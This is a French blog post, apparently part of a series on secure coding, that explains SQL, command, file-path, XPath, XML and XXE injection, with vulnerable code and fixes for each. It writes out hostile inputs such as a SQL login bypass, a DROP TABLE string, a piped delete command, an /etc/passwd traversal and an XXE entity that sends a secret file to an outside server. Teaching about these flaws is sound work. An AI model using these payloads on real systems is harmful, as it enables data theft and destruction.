Le troisième billet de cette série consacrée aux problèmes de sécurité aborde la problématique des
injections de code
Injections de code
L’injection de code est probablement l’une des failles de sécurité les plus connues des développeurs, nos analyses
montrent pourtant qu’elle reste une des causes majeures des problèmes liés à la sécurité.
Pour rappel, l’injection de code consiste à détourner une commande, ou une requête, à l’aide d’un paramètre qui n’est
pas qu’une valeur brute, mais contient du code qui sera exécuté à l’insu de l’application. Elle fait partie des
failles de sécurité les plus simples à mettre en oeuvre, même pour un utilisateur non expert, et a des conséquences
qui peuvent être gravissimes, telles que la récupération ou la destruction de données.
Un exemple avec une requête SQL en C# :
string query = "SELECT * FROM user "
+ "WHERE login='" + paramLogin
+ "' AND password='" + paramPassword
+ "'";
using (SqlCommand cmd = new SqlCommand(query, someConnection))
{
cmd.ExecuteNonQuery();
}
Si le paramètre paramPassword est un champ de formulaire et que l’utilisateur saisit ‘ OR 1=1,
la vérification du mot de passe sera tout simplement ignorée. Et pour détruire des données, l’utilisateur pourrait
tenter quelque chose comme : ‘; DROP TABLE user;…
Au niveau de l’analyse de code, nous considérons qu’il y a 2 niveaux de gravité selon l’origine des paramètres :
- le paramètre de la requête SQL provient d’un paramètre de méthode ou d’un attribut de classe. Iln’est pas
possible d’affirmer qu’il y a une faille de sécurité, car le paramètre peut avoir été vérifié auparavant. Mais
c’est malgré tout un risque, car la requête pourra présenter un danger si elle est réutilisée par ailleurs.
public User authenticate(string paramLogin, string paramPassword) { ... string query = "SELECT * FROM user " + "WHERE login='" + paramLogin + "' AND password='" + paramPassword + "'"; using (SqlCommand cmd = new SqlCommand(query, someConnection)) { cmd.ExecuteNonQuery(); } ... } - le paramètre de la requête SQL provient directement d’un paramètre HTTP (tel qu’un champ desaisie). On peut être
sûr dans ce cas que la faille est avérée :
public User authenticate() { ... string query = "SELECT * FROM user " + "WHERE login='" + Request["login"] + "' AND password='" + Request["password"] + "'"; using (SqlCommand cmd = new SqlCommand(query, someConnection)) { cmd.ExecuteNonQuery(); } ... }
Cette faille est principalement connue pour les requêtes SQL, mais on oublie souvent qu’elle peut s’appliquer à
d’autres domaines. De manière générale, les recommandations transverses pour bien traiter les injections de code sont :
- vérifier les données en entrée (par exemple qu’un login ne doit pas contenir de guillemet)
- systématiquement échapper les caractères spéciaux tels que les guillemets
- ou mieux, utiliser des requêtes paramétrées qui se chargeront automatiquement de cetéchappement
Injections SQL et dérivés
Les exemples d’injections SQL présentées précédemment s’appliquent aussi à des alternatives de SQL :
- langage HQL pour le framework de persistence Java Hibernate
- langage JPQL pour la spécification de persistence href= »http://java.sun.com/javaee/technologies/persistence.jsp »>JPA
- standard de requêtage générique LINQ pour C#
- …
L’injection est possible dès que la requête est construite en concaténant directement les paramètres.
Il est possible
d’échapper manuellement les caractères spéciaux tels que les guillement simples, mais la meilleure solution consiste
généralement à utiliser les requêtes paramétrées, qui sont disponibles dans la plupart des
technologies. En plus de
prendre en charge les échappements de caractères, ces requêtes formatent les paramètres selon leur type de données,
et permettent parfois d’optimiser les performances en entraînant la mise en cache des requêtes avant l’alimentation
des paramètres.
public User authenticate()
{
...
string query = "SELECT * FROM user "
+ "WHERE login=@login AND password=@password";
using (SqlCommand cmd = new SqlCommand(query, someConnection))
{
cmd.Parameters.AddWithValue("@login", Request["login"]);
cmd.Parameters.AddWithValue("@password", Request["password"]);
cmd.ExecuteNonQuery();
}
...
}
On recommandera également les deux actions suivantes :
- ne jamais présenter les erreurs SQL directement à l’utilisateur. Dans le cas contraire, l’attaquant pourra lesexploiter pour analyser la requête qu’il cherche à détourner
- configurer les privilèges du compte utilisé pour se connecter à la base de données afin de limiter les actionsnuisibles, par exemple interdire les actions altérant le schéma de la base
Injection de commandes
Autre domaine dans lequel nous détectons parfois des possibilités d’injections de code : les exécutions de lignes de
commande. Imaginons un service web générique lançant un outil en ligne de commande avec un paramètre provenant de la
requête HTTP :
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException
{
String param = req.getParameter("param");
Process process = Runtime.getRuntime().exec("c:\\someTool.bat " + param);
...
}
En renseignant le paramètre avec une valeur du type 0 | del c:\\xxx, un attaquant dispose d’une belle liberté
pour faire quelques dommages sur le système ! Même si l’API Java ici utilisée protège la majorité des cas en essayant
de traiter chaque terme de la commande comme des arguments du premier programme, on voit qu’il reste nécessaire de
vérifier le contenu du paramètre.
Injection d’un chemin de fichier
Autre type d’injection possible à mettre en oeuvre et plutôt dangereux : injecter un chemin de fichier lorsque le
paramètre est utilisé pour récupérer un fichier. Par exemple, dans cette JSP, on charge une note de copyright à partir
de la langue qui est définie en paramètre HTTP :
<html>
...
<jsp:include page="copyrights/<%= request.getParameter("lang") %>"/>
...
</html>
Si l’attaquant change son paramètre lang pour une valeur telle que ../../../../etc/passwd,
il récupère simplement le fichier dans la réponse HTTP. Pour éviter cette vulnérabilité, il faut recourir à des
inclusions statiques (<%@include file="copyrights/fr"%>),
verrouiller les accès aux fichiers non
accessibles à l’application web, et, encore, vérifier les paramètres avant de les exploiter.
Injections XPath
XPath est un langage de requêtage dans la même veine que SQL mais applicable à des documents XML. La requête SQL
précédente pourrait s’écrire en XPath avec quelque chose comme : //users/user[login/text()='...' and password/text()='...']. La
problématique est identique à l’injection SQL, mais les implémentations XPath ne proposent pas toutes un équivalent
des requêtes paramétrées. Exemple avec l’API standard Java (> 5.0), qui permet de bien traiter ce cas :
public void authenticate(String login, String password)
throws ParserConfigurationException, XPathExpressionException, IOException, SAXException
{
XPath xpath = XPathFactory.newInstance().newXPath();
xpath.setXPathVariableResolver(new AuthResolver(login, password));
XPathExpression query = xpath.compile("//users/user[login/text()=$login and password/text()=$password]/id/text()");
Document d = DocumentBuilderFactory.newInstance().newDocumentBuilder
().parse(new File("auth.xml"));
String userId = query.evaluate(d);
...
}
private final static class AuthResolver implements XPathVariableResolver
{
private final String login;
private final String password;
public AuthResolver(String login, String password)
{
this.login = login;
this.password = password;
}
public Object resolveVariable(QName qName)
{
if ("login".equals(qName.getLocalPart()))
return login;
if ("password".equals(qName.getLocalPart()))
return password;
return null;
}
}
Injections XML
XML est souvent utilisé comme format d’échange dans des architectures SOA. On peut imaginer un service bancaire qui
enregistre des opérations de compte à partir d’ordres formatés de la manière suivante :
<?xml version="1.0" encoding="UTF-8"?> <order> <accountId>123</accountId> <amount>10000</amount> <type>debit</type> </order>
Imaginons que cet ordre est généré à partir d’un formulaire de saisie dans lequel l’utilisateur saisit un montant avec
la valeur 0</amount><type>credit</type><amount>10000. L’ordre XML est alors le suivant :
<?xml version="1.0" encoding="UTF-8"?> <order> <accountId>123</accountId> <amount>0</amount> <type>credit</type> <amount>10000</amount> <type>debit</type> </order>
Suivant la manière dont est lu ce document XML l’ordre pourra être enregistré comme un crédit au lieu d’un débit :
ce sera le cas en utilisant des recherches DOM qui se limitent aux premiers éléments trouvés.
Ce type d’injection est facilement contré en validant le document XML avec un modèle (DTD ou schéma XSD), en plus des
traitements basiques (vérification des données saisies, échappement des caractères spéciaux). C’est pourquoi nous proposons une règle obligeant à valider un document XML avant de le parser.
Injections XXE (Xml eXternal Entity)
Autre type d’injection spécifique à XML (source :
mais qui repose sur la notion d’entités externes, qui est un mécanisme d’inclusion statique de XML :
<!DOCTYPE root [ <!ENTITY secreteKey SYSTEM "file:/somedir/secreteKey" > ] > <?xml version="1.0" encoding="UTF-8"?> <root> <node>&secreteKey;</node> </root>
Quand le fichier est interprété par un parseur XML, le texte du noeud node est dynamiquement alimenté
avec le contenu du fichier déclaré par l’entité externe.
Si ce fichier provient d’un tiers, il offre donc la possibilité d’accéder à des données non protégées. Pour consulter des
données, soit le tiers a accès au fichier XML interprété (exemple : un flux RSS envoyé à un serveur d’agrégation),
soit il peut même récupérer automatiquement ces données via une deuxième entité externe pointant vers un serveur
auquel il a accès :
<!DOCTYPE root [ <!ENTITY secreteKey SYSTEM "file:/somedir/secreteKey" > <!ENTITY sendSecreteKey SYSTEM "http: //someserver.com/?&secreteKey;" > ] > <?xml version="1.0" encoding="UTF-8"?> <root> <node>&sendSecreteKey;</node> </root>
La solution consiste simplement à ne pas accepter les entités externes dans des fichiers provenant de tiers, et bien
sur à protéger ses fichiers sur son système de fichiers…
Conclusion
Tous les types d’injection ne sont pas répertoriés ici, mais s’il n’y avait qu’une chose à retenir, ce serait de
vérifier systématiquement les données reçues avant de les exploiter d’une manière ou d’une autre !
A suivre… Le prochain billet clôturera cette série par un pot-pourri d’autres règles de sécurité qu’on voit régulièrement enfreintes sur le Cockpit, et qui sont parfois surprenantes.
